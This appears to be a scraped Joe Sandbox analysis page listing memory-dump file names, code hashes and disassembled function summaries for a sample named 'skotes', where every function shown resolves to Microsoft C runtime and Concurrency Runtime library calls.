Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 0763344133317cb0b9e9cd878ece8bb0f916b50aea9302322b6c7beb65db2534
Instruction ID: e17370492d0b9e558fc3ed5e98853236a46bedd4ef40a10a116fdc26bc2c123b
Opcode Fuzzy Hash: 0763344133317cb0b9e9cd878ece8bb0f916b50aea9302322b6c7beb65db2534
Instruction Fuzzy Hash: 9A81C031A00636ABCF28DF68E8905BDB7F2BB58304F24412DD445E7A41DB70ADA1CB90

Function 001269DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00126A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00126A51
List.LIBCONCRT ref: 00126A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00126A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00126AB9
List.LIBCONCRT ref: 00126AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00126B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00126B20
List.LIBCONCRT ref: 00126B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00126B68

Part of subcall function 00125EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00125EF7
Part of subcall function 00125EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00125F09

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: d2e7e7de903895e416425d8f94b01d42946206f1e35984d02e4abbeaa9009ee8
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 5A516D71A00229AFDF08DF64D495BEDB3B8FF18304F0540B9E915AB282DB74AE55CB90

Function 001352A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 001353A0
type_info::operator==.LIBVCRUNTIME ref: 001353C7
___TypeMatch.LIBVCRUNTIME ref: 001354D3
IsInExceptionSpec.LIBVCRUNTIME ref: 001355AE
CallUnexpected.LIBVCRUNTIME ref: 00135650

Strings

csm, xrefs: 0013534D
csm, xrefs: 001352E0
csm, xrefs: 001353FE

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 9339c1b954e7b9a36e4fd3a7b5e47141d67f51f0353200f4f1e2613c86127a3b
Instruction ID: 516ac73c9440a301d2ea07fa240efca690830063527642f5f7ccf16c31e68422
Opcode Fuzzy Hash: 9339c1b954e7b9a36e4fd3a7b5e47141d67f51f0353200f4f1e2613c86127a3b
Instruction Fuzzy Hash: 56C19A71800609EFCF19DFA8C8819AEBBBAFF24B15F14415AF8156B202D771EA51CF91

Function 00127364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001273B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001273F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0012740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00127419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00127440

Strings

count, xrefs: 0012737E
ppVirtualProcessorRoots, xrefs: 00127438

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 77099309cb56827654bda0345d93e86bb36e5a436c264fce160aa47bdd19c9c7
Instruction ID: cd7589b52102585dd9016f39a14c7377d850e0434a0e273f94893c05399c78cb
Opcode Fuzzy Hash: 77099309cb56827654bda0345d93e86bb36e5a436c264fce160aa47bdd19c9c7
Instruction Fuzzy Hash: 2D218534A00319EFCF14EFA4E4959AEBBB5BF19340F144069E9159B391DB30AE55CF90

Function 001278E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00127903

Part of subcall function 00125CB8: __EH_prolog3_catch.LIBCMT ref: 00125CBF
Part of subcall function 00125CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00125CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0012792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00127936

Part of subcall function 00125CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00125D70
Part of subcall function 00125CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00125D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00127982
Concurrency::location::_Assign.LIBCMT ref: 001279A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001279AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001279BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001279ED

Part of subcall function 0012691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00126942
Part of subcall function 0012691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00126965

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
